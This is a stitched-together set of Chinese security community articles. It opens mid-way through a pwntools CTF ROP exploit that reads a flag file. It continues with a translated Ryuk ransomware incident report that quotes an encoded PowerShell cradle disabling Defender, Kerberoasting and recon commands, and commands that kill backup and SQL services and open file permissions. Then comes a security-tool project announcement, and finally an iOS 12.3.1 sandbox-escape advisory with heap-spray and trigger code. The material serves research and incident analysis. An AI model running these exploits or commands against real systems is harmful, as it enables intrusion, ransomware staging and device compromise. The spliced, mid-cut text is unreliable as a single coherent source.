if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('172.20.5.31', 22423)
libc = ELF('./libc-2.31.so')
one_gadget = 0x0
p_rdi_r = 0x00000000004017a3
p_rsi_r15_r = 0x4017a1
read = 0x4015AB
p_rbp_r = 0x40125d
p_rsp_r = 0x40179d # 3
ret = 0x000000000040101a
bss = 0x404050
while True:
try:
p.sendafter("send >> ", "a\n")
p.sendafter("1:yes): ", (b"\x00" + str(0x100).encode()).ljust(8, b"\x00") + p64(0x4015AB))
payload = p32(0xdeadbeef) + p32(0x4) + p64(0xdeadbeef) + p64(p_rdi_r) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(p_rdi_r) + p64(bss) + p64(p_rsi_r15_r) + p64(0x300) + p64(0) + p64(read)
payload += p64(p_rsp_r) + p64(bss)
p.sendline(payload)
libc.address = u64(p.recvline(timeout=1).strip().ljust(8, b"\x00")) - libc.sym['puts']
log.success("libc address is {}".format(hex(libc.address)))
break
except KeyboardInterrupt:
exit(0)
except:
p.close()
if debug:
p = process([file_path])
else:
p = remote('172.20.5.31', 22423)
p_rdi_r = 0x0000000000026b72 + libc.address
p_rsi_r = 0x0000000000027529 + libc.address
p_rdx_r12_r = 0x000000000011c371 + libc.address
p_rax_r = 0x000000000004a550 + libc.address
syscall = 0x0000000000066229 + libc.address
ret_addr = 0x0000000000025679 + libc.address
flag_str_address = bss + 0x250
orw = flat([
p_rax_r, 2,
p_rdi_r, flag_str_address,
p_rsi_r, 0,
syscall,
p_rax_r, 0,
p_rdi_r, 3,
p_rsi_r, flag_str_address,
p_rdx_r12_r, 0x40, 0,
syscall,
p_rax_r, 1,
p_rdi_r, 1,
p_rsi_r, flag_str_address,
p_rdx_r12_r, 0x40, 0,
syscall
])
payload = p64(ret)*4 + orw.ljust(0x250, b"\x00") + b"flag\n"
p.send(payload)
p.interactive() | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://thedfirreport.com/2020/10/08/ryuks-return/>**
### 前言
Ryuk在29小时内将一封电子邮件发送到了整个域的勒索软件，要求我们以超过600万美元的价格来解锁系统。在勒索过程中，他们使用了Cobalt
Strike、AdFind、WMI、vsftpd、PowerShell、PowerView和Rubeus等工具。
在过去的几年里，Ryuk一直是最熟练的勒索团伙之一。FBI声称，截至2020年2月，已经向该团伙支付了6100万美元。
### 摘要
在这篇文章中，这些勒索操作是通过名为Bazar/Kegtap的加载程序恶意软件开始进行的。报告显示，通过malspam发送的电子邮件数量在9月份逐渐增加。
从有效载荷的初始执行开始，Bazar就注入了各种进程，包括explorer.exe和svchost.exe，以及生成cmd.exe进程。此活动的初始目标是使用内置的Windows实用程序（如nltest、net
group和第三方实用程序AdFind）进行探索。
进行最初的探索活动之后，Bazar恶意软件一直保持相对安静，直到第二天才进行第二轮探索。第二轮探索中使用了同样的工具。这次探索通过FTP被过滤到俄罗斯托管的服务器上。接下来，攻击者开始进行横向威胁。
从远程WMI到使用PowerShell远程执行服务，攻击者都进行了几次尝试，使用了各种方法，直到最终登陆通过SMB传输的Cobalt Strike
beacon可执行文件在环境中移动。从这里开始，攻击者依靠在域控制器上运行的Cobalt Strike信标作为主要操作点。
在选择了最可靠的方法来遍历整个环境后，攻击者接着在整个企业中建立信标。为了实现最终目标，他们使用PowerShell在环境中禁用Windows
Defender。
用于域内备份的服务器首先用于加密，然后在主机上完成进一步的准备工作。然而，一旦Ryuk
ransom可执行文件从他们的域控制器(DC)中枢通过SMB传输，执行它只需要一分钟。
此时，Ryuk通过SMB传输到环境中的其他主机，并通过来自pivot域控制器的RDP连接执行。从最初执行Bazar到整个领域的勒索软件，该活动总共持续了29个小时。
攻击者要求提供600+比特币，其市值约为600多万美元。
### 时间线
### 过程分析
#### 初始访问
最初的交付是通过电子邮件发送，并带有指向Bazar / Kegtap后门装载机的链接。我们下载并运行了Document-Preview.exe，通过`443/https`连接到`5.182.210[.]145`。
#### 执行
在横向移动期间，多次使用服务执行来执行脚本和可执行文件。
也尝试使用WMI来横向执行dlls。
`WMIC /node：“DC.example.domain”进程调用创建“ rundll32 C：\ PerfLogs \
arti64.dll，StartW”`
攻击者还进行了进程注入。
#### 防御
禁用Windows Defender。
powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA3ADgAMAAxAC8AJwApADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnACAAJAB0AHIAdQBlAA==
#### 发现
**第一天**
在执行Document-Preview.exe后，AdFind和adf.bat被删除并运行了几分钟。您可以在这里阅读更多信息。批处理文件将信息输出到以下文本文件中。
Nltest用于检查域信任。
nltest / domain_trusts / all_trusts
Net用来显示域管理员。
net group "Domain admins" /DOMAIN
Ping用于测试系统是否在环境中正常运行。
ping hostname.domain.local
从Bazar加载器中分解活动流程树。
**第二天**
Afind再次运行，然后，攻击者试图用Rubeus攻击Kerberoast。
在横向运动失败期间，几次误启动之后，攻击者执行了一些其他的本地系统侦查。
systeminfo
nltest /dclist:
Get-NetSubnet
Get-NetComputer -operatingsystem *server*
Invoke-CheckLocalAdminAccess
Find-LocalAdminAccess
使用WMI在许多系统上检查当前的AntiVirus。
WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
Import-Module ActiveDirectory; Get-ADComputer -Filter {enabled -eq $true} -properties *|select Name, DNSHostName, OperatingSystem, LastLogonDate | Export-CSV C:\Users\AllWindows.csv -NoTypeInformation -Encoding UTF8
#### 横向活动
在第1天，攻击者继续进行更多探索之前检查了域控制器的MS17-010。该系统不易受到MS17-010的攻击。
横向移动始于初次进入后约28小时，使用SMB在域控制器上放置了Cobalt Strike Beacon。从那里，攻击者使用WMIC执行信标。
WMIC /node:\"DC.example.domain\" process call create \"rundll32 C:\\PerfLogs\\arti64.dll, StartW\"
该攻击似乎没有成功运行，因为攻击者在没有明显的命令和控制流量后不久就在滩头主机上放置了一个额外的载荷，然后在DC上执行了一项服务。
解码后的Powershell。
随后，攻击者复制并执行一个Cobalt Strike信标可执行文件，并通过域控制器上的服务启动它。
此时，C2连接出现在域控制器上，通过443/https连接到martahzz[.]com–88.119.171[.]75。
备份系统的目标是横向移动，使用SMB exe在滩头主机执行第一次横向移动后大约一小时执行。
攻击者在许多系统上运行信标时遇到问题，而且，至少在其中一个系统上，他们远程安装了驱动器。
C:\Windows\system32\cmd.exe /C dir \\Server\c$
### 影响
SMB用于传输Ryuk可执行文件。从第一个被破坏的DC建立RDP连接，然后从备份服务器开始在整个环境中执行勒索软件。在执行备份之前，攻击者在备份服务器上启动了wbadmin
msc控制台。
在勒索之前先执行以下命令：
"C:\Windows\system32\net1 stop \""samss\"" /y"
"C:\Windows\system32\net1 stop \""veeamcatalogsvc\"" /y"
"C:\Windows\system32\net1 stop \""veeamcloudsvc\"" /y"
"C:\Windows\system32\net1 stop \""veeamdeploysvc\"" /y"
"C:\Windows\System32\net.exe\"" stop \""samss\"" /y"
"C:\Windows\System32\net.exe\"" stop \""veeamcatalogsvc\"" /y"
"C:\Windows\System32\net.exe\"" stop \""veeamcloudsvc\"" /y"
"C:\Windows\System32\net.exe\"" stop \""veeamdeploysvc\"" /y"
"C:\Windows\System32\taskkill.exe\"" /IM sqlbrowser.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM sqlceip.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM sqlservr.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM sqlwriter.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.agent.configurationservice.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.brokerservice.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.catalogdataservice.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.cloudservice.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.externalinfrastructure.dbprovider.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.manager.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.mountservice.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.service.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.uiserver.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.backup.wmiserver.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeamdeploymentsvc.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeamfilesysvsssvc.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeam.guest.interaction.proxy.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeamnfssvc.exe /F"
"C:\Windows\System32\taskkill.exe\"" /IM veeamtransportsvc.exe /F"
"C:\Windows\system32\taskmgr.exe\"" /4"
"C:\Windows\system32\wbem\wmiprvse.exe -Embedding"
"C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding"
"icacls \""C:\*\"" /grant Everyone:F /T /C /Q"
"icacls \""D:\*\"" /grant Everyone:F /T /C /Q"
所有系统都留有以下赎金记录：
### Network
5.182.210.145（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=5.182.210.145
"ZoomEye搜索结果")）
88.119.171.75（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=88.119.171.75
"ZoomEye搜索结果")）
107.173.58.183（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=107.173.58.183
"ZoomEye搜索结果")）
45.141.84.120（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.141.84.120
"ZoomEye搜索结果")）
nomadfunclub.com martahzz.com .bazar
* * * | 社区文章 |
**「404星链计划」**
是知道创宇404实验室于2020年8月提出的开源项目收集计划，这个计划的初衷是将404实验室内部一些工具通过开源的方式发挥其更大的价值，也就是“404星链计划1.0”，这里面有为大家熟知的Pocsuite3、ksubdomain等等，很快我们就收到了许多不错的反馈。2020年11月，我们将目光投向了整个安全圈，以星链计划成员为核心，筛选优质、有意义、有趣、坚持维护的开源安全项目，为立足于不同安全领域的安全研究人员指明方向，也就是“404星链计划2.0”。
**为了更清晰地展示和管理星链计划的开源项目，今天我们将1.0和2.0整合，推出改版后的「404星链计划」。**
计算机开源社区是开放且庞杂的，当然安全也是如此；我们希望404星链计划能够提供一个安全开源项目的交流平台，为项目提供技术支持和奖品激励、进行公开推荐，让更多更优质的项目成为大家的“神兵利器”，以此来促进安全开源社区的发展。就像一颗颗大大小小的星星，本是独自寂寞美丽，但当它们汇在一起，就能聚成一道闪耀璀璨的星河，绽放不可磨灭的力量。
**Github地址：** **<https://github.com/knownsec/404StarLink>**
## 01 多维度的项目展示
新的页面采用板块的方式，你可以更快速的找到感兴趣的项目，获取项目动态和榜单等等：
* 新项目加入板块
* 项目活跃度板块（发布更新/发布paper/发布视频等）
* Github star rank 板块
* 项目版本更新板块
* 分类板块（甲方工具/信息收集/漏洞探测/攻击与利用/信息分析/后渗透阶段等
* 专栏（Kcon2021 兵器谱/2021 年度项目等）
* etc
主页板块展示
同时，我们改进了评分机制，使用榜单对项目进行排名和展示。以项目更新频率、发表相关文章视频、Github Star、用户使用量等多维度描述和展示项目质量。
项目详细内容展示
## 02 更清晰的加入方式
如果你的安全开源项目有意加入404星链计划，请在星链计划 Github 主页的 issue
(https://github.com/knownsec/404StarLink/issues)提交项目申请， **提交格式** 如下：
* 项目名称：
* 项目链接：
* 项目简介：
* 项目特点、亮点：
我们将在1-2周的时间内对申请加入的项目进行审核，审核的 **基础规范** 包括：
* README.md (包括但不限于：项目简介、运行环境搭建、运行示例等)
* CHANGELOG (便于记录项目更新)
* LICENCE (为避免开源纠纷，需要提前选择开源协议)
* 编译型项目提供 release 版本
* 项目需要和安全相关
* 必须是完整的开源项目(不能只是二进制，或部分开源)
另外星链评审组还将根据项目场景、功能和源码进行分析，其中 **评审项** 包括但不限于：
* 项目具有一定的实用价值
* 项目完整开源
* 项目源码内不包含恶意代码
* 项目可以正常部署和使用
项目审核通过后，我们将发送邀请函邮件，项目正式加入404星链计划。
## 03 项目维护与激励
项目加入星链计划之后，社群用户可以更方便快捷地获取项目动态和反馈问题，开发者也可以不断根据用户反馈来优化和迭代项目。
我们将继续每周获取项目更新，并在星链计划社群、404官方账号进行推广；项目的相关文档、演示视频也将发布在Seebug
Paper、公众号、404实验室B站等平台，为项目增加曝光机会。
同时，为了更好的管理星链计划中项目的生命周期，促进开源项目的发展，我们设置了「里程碑」，开发者可以通过不断维护项目，来达成相关的里程碑获取对应的
**周边礼品** 。
奖励里程碑
当然！我们依旧会为开发者提供知道创宇内推通道、每年优先推荐KCon兵器谱，以及不定期的礼品关怀。
本届KCon 2021兵器谱展示中，有 **8个项目** 来自404星链计划：
KCon 2021兵器谱
## 04 本期新项目
本期收录了 **4个** 优秀的项目：
### kunyu
**项目链接：** <https://github.com/knownsec/Kunyu>
**项目简介：** Kunyu(坤舆)，是一款基于ZoomEye
API开发的信息收集工具，旨在让企业资产收集更高效，使更多的安全从业者了解、使用网络空间资源测绘技术。
**项目特点、亮点：** 开箱即用的命令行网络空间测绘工具
### ysomap
**项目链接：** <https://github.com/wh1t3p1g/ysomap>
**项目简介：** Ysomap is A helpful Java Deserialization exploit framework based on
ysoserial
**项目特点、亮点：** 面对如今多样化的目标环境，ysoserial等工具所具备的攻击能力、攻击效果都无法满足实际利用。
ysomap采用了组件化的思路，以多种实现效果装配各类反序列化利用链的生成。当前，以完成了11种exploits，22种payloads(不包含学习用的gadget)，25种bullets。覆盖了cc系列、rmi/ldap/jndi系列、xstream等组件或exp。
### MySQL_Fake_Server
**项目链接：** <https://github.com/fnmsd/MySQL_Fake_Server>
**项目简介：** 用于渗透测试过程中的假MySQL服务器，纯原生python3实现，不依赖其它包。
**项目特点、亮点：** 纯原生Python实现，无其它依赖包，有Python3就能用。 支持目前所有场景下的MySQL JDBC
Connector反序列化利用。 支持MySQL客户端大文件的完整读取（包括二进制文件）。
最新版本增加了未知用户名登录时，随机读取预置的文件路径，可以当做蜜罐使用。
### BurpCrypto
**项目链接：** <https://github.com/whwlsfb/BurpCrypto>
**项目简介：** 支持多种加密算法或直接执行JS代码的用于爆破前端加密的BurpSuite插件。
**项目特点、亮点：**
集成AES、DES、RSA和大部分对应的加密模式与填充算法。支持多种密钥输入与密文输出格式（UTF8String、HEX、Base64）。支持直接执行JS代码，在部分BurpSuite版本中支持语法高亮编辑器，支持多种JS执行引擎（Jre内置、HtmlUnit、Rhino，目前默认使用Rhino）。内置密文/明文本地持久化KV数据库，通过该插件输出的密文内容可轻松查询出明文。
## 05 404星链计划社群
加入404星链计划社群，请扫码识别运营菜菜子二维码，添加时备注“星链计划”。
群内欢迎讨论星链计划的各个安全工具，以及网络安全方面资讯、技术等等，欢迎踊跃提问、解答、互帮互助。同时群内开放【帮转正规招聘信息、优秀技术文章、寻求开发伙伴等内容】，请先联系运营菜菜子审核，由菜菜子安排推送到星链各个群中。
* * * | 社区文章 |
# 通过沙盒逃逸和内核R/W导致RCE的iOS越狱漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 ssd-disclosure，文章来源：ssd-disclosure.com
原文地址：<https://ssd-disclosure.com/archives/4066/ssd-advisory-via-ios-jailbreak-sandbox-escape-and-kernel-r-w-leading-to-rce>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
该漏洞是由安全研究员(08Tc3wBB)在TyphoonPwn 2019上所演示，并获得了60000美元的奖励！
## 漏洞描述
这篇文章描述了iOS 12.3.1中发现的一系列漏洞，将这些漏洞组合在一起后，可以在内核的上下文中执行代码。
### CVE
CVE-2019-8797
CVE-2019-8795
CVE-2019-8794
## 影响系统
iOS 12.3.1
## 漏洞分析
虽然用户态可以访问一些内核的功能，但是由于iOS中沙盒机制的保护，很多攻击面是无法访问的。因此，逃逸沙盒对于攻击内核非常重要。
### 沙盒逃逸
与内核不同的是，在用户态中运行的许多守护进程都可以通过默认的应用访问沙盒。比如一个名为
MIDIServer（com.apple.MIDIServer）的守护进程。这个守护进程允许其他应用程序和服务与可以连接到MIDI的设备进行交互。
MIDIServer所有的功能都存储在一个库中，这个库是CoreMIDI框架的一部分:MIDIServer的main()函数只是调用MIDIServerRun()。
CoreMIDI设置了两个可以访问沙盒的Mach服务:com.apple.midiserver和
com.apple.midiserver.io。前者是一个基于mig的Mach服务。com.apple.midiserver.io是一个自定义实现，用于在客户端和服务器之间传输IO缓冲区。
下面是io Mach服务运行的主线程:
__int64 MIDIIOThread::Run(MIDIIOThread *this, __int64 a2, __int64 a3, int *a4)
{
x0 = XMachServer::CreateServerPort("com.apple.midiserver.io", 3, this + 140, a4);
*(this + 36) = x0;
if ( !*(this + 35) )
{
server_port = x0;
*(this + 137) = 1;
while ( 1 )
{
bufsz = 4;
if ( XServerMachPort::ReceiveMessage(&server_port, &msg_cmd, &msg_buf, &bufsz) || msg_cmd == 3 )
break;
ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef(&v10, msg_buf);
if ( v12 )
{
if ( msg_cmd == 1 )
{
ClientProcess::WriteDataAvailable(v12);
}
else if ( msg_cmd == 2 )
{
ClientProcess::EmptiedReadBuffer(v12);
}
}
if ( v10 )
{
applesauce::experimental::sync::LockFreeHashTable<unsigned int,BaseOpaqueObject *,(applesauce::experimental::sync::LockFreeHashTableOptions)1>::Lookup::~Lookup(&v11);
LOBYTE(v10) = 0;
}
}
x0 = XServerMachPort::~XServerMachPort(&server_port);
}
return x0;
}
XServerMachPort::ReceiveMessage使用MACH_RCV_MSG参数调用mach_msg,等待该端口上的消息。这个消息包含一个命令ID和一个长度字段，后面是消息的主体，由ReceiveMessage调用解析。提供了三个命令：命令1将调用ClientProcess::WriteDataAvailable，命令2将调用ClientProcess::EmptiedReadBuffer，命令3将退出Mach服务循环。通过ResolvedOpaqueRef找到传递给ClientProcess调用的v12对象。这个方法将使用消息中提供的4字节缓冲区(对象ID)在哈希表中查找，将对象返回到堆栈上。
这漏洞存在于ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef调用中。
这个方法使用的哈希表实际上包含许多不同类型的对象，而不仅仅是ClientProcess类型的对象。例如，MIDIExternalDeviceCreate和MIDIDeviceAddEntity创建的对象都存储在此哈希表中。
如果进行正确的类型检查，这里就没有问题。但是，实际上有两种访问此哈希表的方法：
BaseOpaqueObject::ResolveOpaqueRef
ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef
前一种在_MIDIDeviceAddEntity方法中使用，包含正确的类型检查：
midi_device = BaseOpaqueObject::ResolveOpaqueRef(&TOpaqueRTTI<MIDIDevice>::sRTTI, device_id);
但是，后一种方法没有。这意味着，通过提供不同类型对象的ID，可以在其中一个ClientProcess调用中导致类型混淆，而该方法需要ClientProcess*类型的对象。
查看EmptiedReadBuffer的调用：
; __int64 MIDIIOThread::Run(MIDIIOThread *this)
__ZN12MIDIIOThread3RunEv
[...]
BL __ZN13ClientProcess17EmptiedReadBufferEv ; ClientProcess::EmptiedReadBuffer(x0) // `x0` is potentially type confused
; __int64 ClientProcess::EmptiedReadBuffer(ClientProcess *this)
__ZN13ClientProcess17EmptiedReadBufferEv
STP X20, X19, [SP,#-0x10+var_10]!
STP X29, X30, [SP,#0x10+var_s0]
ADD X29, SP, #0x10
MOV X19, X0
ADD X0, X0, #0x20 ; this
BL __ZN22MIDIIORingBufferWriter19EmptySecondaryQueueEv ; MIDIIORingBufferWriter::EmptySecondaryQueue(x0)
; bool MIDIIORingBufferWriter::EmptySecondaryQueue(MIDIIORingBufferWriter *this)
__ZN22MIDIIORingBufferWriter19EmptySecondaryQueueEv
STP X28, X27, [SP,#-0x10+var_50]!
STP X26, X25, [SP,#0x50+var_40]
STP X24, X23, [SP,#0x50+var_30]
STP X22, X21, [SP,#0x50+var_20]
STP X20, X19, [SP,#0x50+var_10]
STP X29, X30, [SP,#0x50+var_s0]
ADD X29, SP, #0x50
MOV X21, X0
MOV X19, X0 ; x19 = (MIDIIORingBufferWritter *)this
LDR X8, [X19,#0x58]!
LDR X8, [X8,#0x10]
MOV X0, X19
如上所见，EmptiedReadBuffer代码将有效地立即取消对类型混乱对象中的两个指针的引用，并将其转移到一个可以被攻击者控制的地址。这个调用看起来是这样的:
如上所见，EmptiedReadBuffer将取消对类型混淆对象中几个指针的引用，并跳转到一个可以由攻击者控制的地址。调用看起来像这样：obj->
0x78-> 0x10（obj-> 0x20）。
## 漏洞利用
为了利用这个漏洞，我们可以将ClientProcess类型与MIDIEntity实例混淆。MIDIEntity的大小为0x78，这表示着对象执行的第一次取消引用（在0x78处）将超出内存范围。然后，可以在MIDIEntity对象之后对一些受控制的数据进行对齐，因为我们处于用户态，所以有更好的方法。
MIDIObjectSetDataProperty
API调用将把CoreFoundation对象反序列化到MIDIServer的堆中，因此使用这个调用可以喷射大小为0x90的CFData对象。然后利用此漏洞发送两个包含OOL内存描述符的Mach消息，将其映射到静态地址0x29f000000（由于某些原因，需要发送两次该消息，否则将不会映射内存；我不确定具体原因），这个内存是一个连续的CoW映射，包含稍后要使用的ROP链，而且重要的是一个位于0x10偏移处的函数指针，将被EmptySecondaryQueue取消引用。
下面的代码将设置CFData对象被加入MIDIServer的堆中：
Prepare_bunch_keys(); // For iterating
size_t spraybufsize = 0x90;
void *spraybuf = malloc(spraybufsize);
for(int i=0; i<spraybufsize; i+=0x8){
*(uint64_t*)(spraybuf + i) = SPRAY_ADDRESS; // The 0x29f000000 address
}
CFDataRef spraydata = CFDataCreate(kCFAllocatorDefault, spraybuf, spraybufsize);
堆的构造：
// OSStatus MIDIClientCreate(CFStringRef name, MIDINotifyProc notifyProc, void *notifyRefCon, MIDIClientRef *outClient);
uint32_t mclient_id = 0;
MIDIClientCreate(CFSTR(""), useless_notify, NULL, &mclient_id);
printf("MIDI Client ID: 0x%xn", mclient_id);
// OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);
uint32_t mdevice_id = 0;
MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &mdevice_id);
printf("MIDI Device ID: 0x%xn", mdevice_id);
// OSStatus MIDIObjectSetDataProperty(MIDIObjectRef obj, CFStringRef propertyID, CFDataRef data);
for (int i = 0; i < 300; i++)
{
MIDIObjectSetDataProperty(mdevice_id, bunchkeys[i], spraydata); // Each call will unserialize one CFData object of size 0x90
}
// Sends 1 OOL descriptor each with the spray memory mapping
Send_spray_mem();
Send_spray_mem();
// OSStatus MIDIObjectRemoveProperty(MIDIObjectRef obj, CFStringRef propertyID);
// Removes every other property we just added
for (int i = 0; i < 300; i = i + 2)
{
MIDIObjectRemoveProperty(mdevice_id, bunchkeys[i]); // Free's the CFData object, popping holes on the heap
}
我们现在分配了150个CFData和150个大小为0x90空闲的空间，全部包含SPRAY_ADDRESS指针。下一步是使用MIDIEntity对象填充其中一个漏洞:
uint32_t mentity_id = 0;
MIDIDeviceAddEntity(mdevice_id, CFSTR(""), false, 0, 0, &mentity_id);
printf("mentity_id = 0x%xn", mentity_id);
如果一切按计划进行，那么现在应该在堆上有一块内存，其中第一个0x78字节用有效的MIDIEntity对象填充，剩下的0x18字节用SPRAY_ADDRESS指针填充。
为了触发这个漏洞，我们可以使用MIDIEntity对象ID（mentity_id）调用com.apple.midiserver.io Mach服务：
// Sends msgh_id 0 with cmd 2 and datalen 4 (ClientProcess::EmptiedReadBuffer)
Init_triggerExp_msg(mentity_id);
Send_triggerExp_msg();
它将启动MIDIServer进程中Mach服务线程上的ROP链。
然后根据新对象的ID判断是否触发漏洞：
// OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);
uint32_t verifysucc_mdevice_id = 0;
MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &verifysucc_mdevice_id);
printf("verify_mdevice_id: 0x%xn", verifysucc_mdevice_id);
if (verifysucc_mdevice_id == mdevice_id + 2)
{
break;
}
// We failed, reattempting...
printf("Try againn");
MIDIRestart();
如果对象ID不连续，则表示利用失败（守护进程崩溃），因此可以通过MIDIRestart调用重新启动守护进程，然后可以重新尝试利用漏洞。
这里不会详细介绍ROP链的原理，基本思路是在SPRAY_ADDRESS内存映射中的缓冲区上调用objc_release，在这个地址上伪造一个假的Objective-C对象，在这个对象上执行release方法。然后创建一个原始的调用链，目的是打开3个userclients，并挂在mach_msg_receive调用中，以便稍后在收到消息时通过vm_read_overwrite覆盖一些内存—这将在稍后的内核利用中使用。
需要注意的是，对于这种基于ROP的利用方法，A12和更新的处理器需要绕过PAC。
从MIDIServer获取的userclients是AppleSPUProfileDriver，IOSurfaceRoot和AppleAVE2Driver。
### 使用AppleSPUProfileDriver：攻破内核ASLR
通过MIDIServer我们可以访问AppleSPUProfileDriver
userclient，这个userclient实现了12个方法，但是我们只对AppleSPUProfileDriverUserClient::extSignalBreak感兴趣。查看伪代码，大概了解一下做了什么：
__int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)
{
__int64 dataQueueLock; // x19
unsigned __int64 v8; // x0
__int64 result; // x0
int v10; // [xsp+8h] [xbp-48h]
int v11; // [xsp+Ch] [xbp-44h]
__int64 v12; // [xsp+10h] [xbp-40h]
__int64 v13; // [xsp+38h] [xbp-18h]
dataQueueLock = this->dataQueueLock;
IORecursiveLockLock(this->dataQueueLock);
if ( this->dataQueue )
{
v10 = 0;
abs_time = mach_absolute_time();
v12 = AppleSPUProfileDriver::absolutetime_to_sputime(this, abs_time);
v11 = OSIncrementAtomic(&this->atomicCount);
(*(*this->dataQueue + 0x88∂LL))(); // IOSharedDataQueue::enqueue(&v10, 0x30)
}
result = IORecursiveLockUnlock(dataQueueLock);
return result;
}
这个函数通过一个锁，将一些数据写入堆栈上存储的缓冲区，并调用IOSharedDataQueue::enqueue将该数据提交到队列，缓冲区大小为0x30。这里访问堆栈的方式不是特别清楚，所以来看下反汇编部分代码：
; __int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)
__ZN21AppleSPUProfileDriver16signalBreakGatedEv
var_48 = -0x48
var_44 = -0x44
var_40 = -0x40
var_18 = -0x18
var_10 = -0x10
var_s0 = 0
PACIBSP
SUB SP, SP, #0x60
STP X20, X19, [SP,#0x50+var_10]
STP X29, X30, [SP,#0x50+var_s0]
ADD X29, SP, #0x50
MOV X20, X0
ADRP X8, #___stack_chk_guard@PAGE
NOP
LDR X8, [X8,#___stack_chk_guard@PAGEOFF]
STUR X8, [X29,#var_18]
LDR X19, [X0,#0x30B8]
MOV X0, X19
BL _IORecursiveLockLock
LDR X8, [X20,#0x90]
CBZ X8, branch_exit_stub
STR WZR, [SP,#0x50+var_48]
BL _mach_absolute_time
MOV X1, X0 ; unsigned __int64
MOV X0, X20 ; this
BL __ZN21AppleSPUProfileDriver23absolutetime_to_sputimeEy ; AppleSPUProfileDriver::absolutetime_to_sputime(ulong long)
STR X0, [SP,#0x50+var_40]
MOV W8, #0x30CC
ADD X0, X20, X8
BL _OSIncrementAtomic
STR W0, [SP,#0x50+var_44]
LDR X0, [X20,#0x90]
LDR X8, [X0]
LDRAA X9, [X8,#0x90]!
MOVK X8, #0x911C,LSL#48
ADD X1, SP, #0x50+var_48
MOV W2, #0x30
BLRAA X9, X8 // Call to IOSharedDataQueue::enqueue
branch_exit_stub ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+38
MOV X0, X19 ; lock
BL _IORecursiveLockUnlock
LDUR X8, [X29,#var_18]
ADRP X9, #___stack_chk_guard@PAGE
NOP
LDR X9, [X9,#___stack_chk_guard@PAGEOFF]
CMP X9, X8
B.NE branch_stack_chk_fail
MOV W0, #0
LDP X29, X30, [SP,#0x50+var_s0]
LDP X20, X19, [SP,#0x50+var_10]
ADD SP, SP, #0x60
RETAB
; ---------------------------------------------------------------------------
branch_stack_chk_fail ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+9C
BL ___stack_chk_fail
可以看到32位值为零保存在var_48中，OSIncrementAtomic调用的结果保存在var_44中，absolutetime_to_sputime的返回值保存在var_40中，但是，还记得为IOSharedDataQueue::enqueue调用提供了0x30大小吗？这意味着任何未初始化的堆栈数据都将泄漏到dataqueue中！虽然dataqueue可能包含泄漏的数据，如果我们不能访问此数据，那将不会对安全产生任何影响。但是，IOSharedDataQueue被签名成完全共享。让我们来看下AppleSPUProfileDriverUserClient::clientMemoryForType:
__int64 AppleSPUProfileDriverUserClient::clientMemoryForType(AppleSPUProfileDriverUserClient *this, int type, unsigned int *options, IOMemoryDescriptor **memory)
{
[...]
ret = 0xE00002C2LL;
if ( !type )
{
memDesc = AppleSPUProfileDriver::copyBuffer(this->provider);
*memory = memDesc;
if ( memDesc )
ret = 0LL;
else
ret = 0xE00002D8LL;
}
return ret;
}
__int64 AppleSPUProfileDriver::copyBuffer(AppleSPUProfileDriver *this)
{
[...]
dataQueueLock = this->dataQueueLock;
IORecursiveLockLock(this->dataQueueLock);
memDesc = this->queueMemDesc;
if ( memDesc )
{
(*(*memDesc + 0x20LL))(); // OSObject::retain
buf = this->queueMemDesc;
}
else
{
buf = 0LL;
}
IORecursiveLockUnlock(dataQueueLock);
return buf;
}
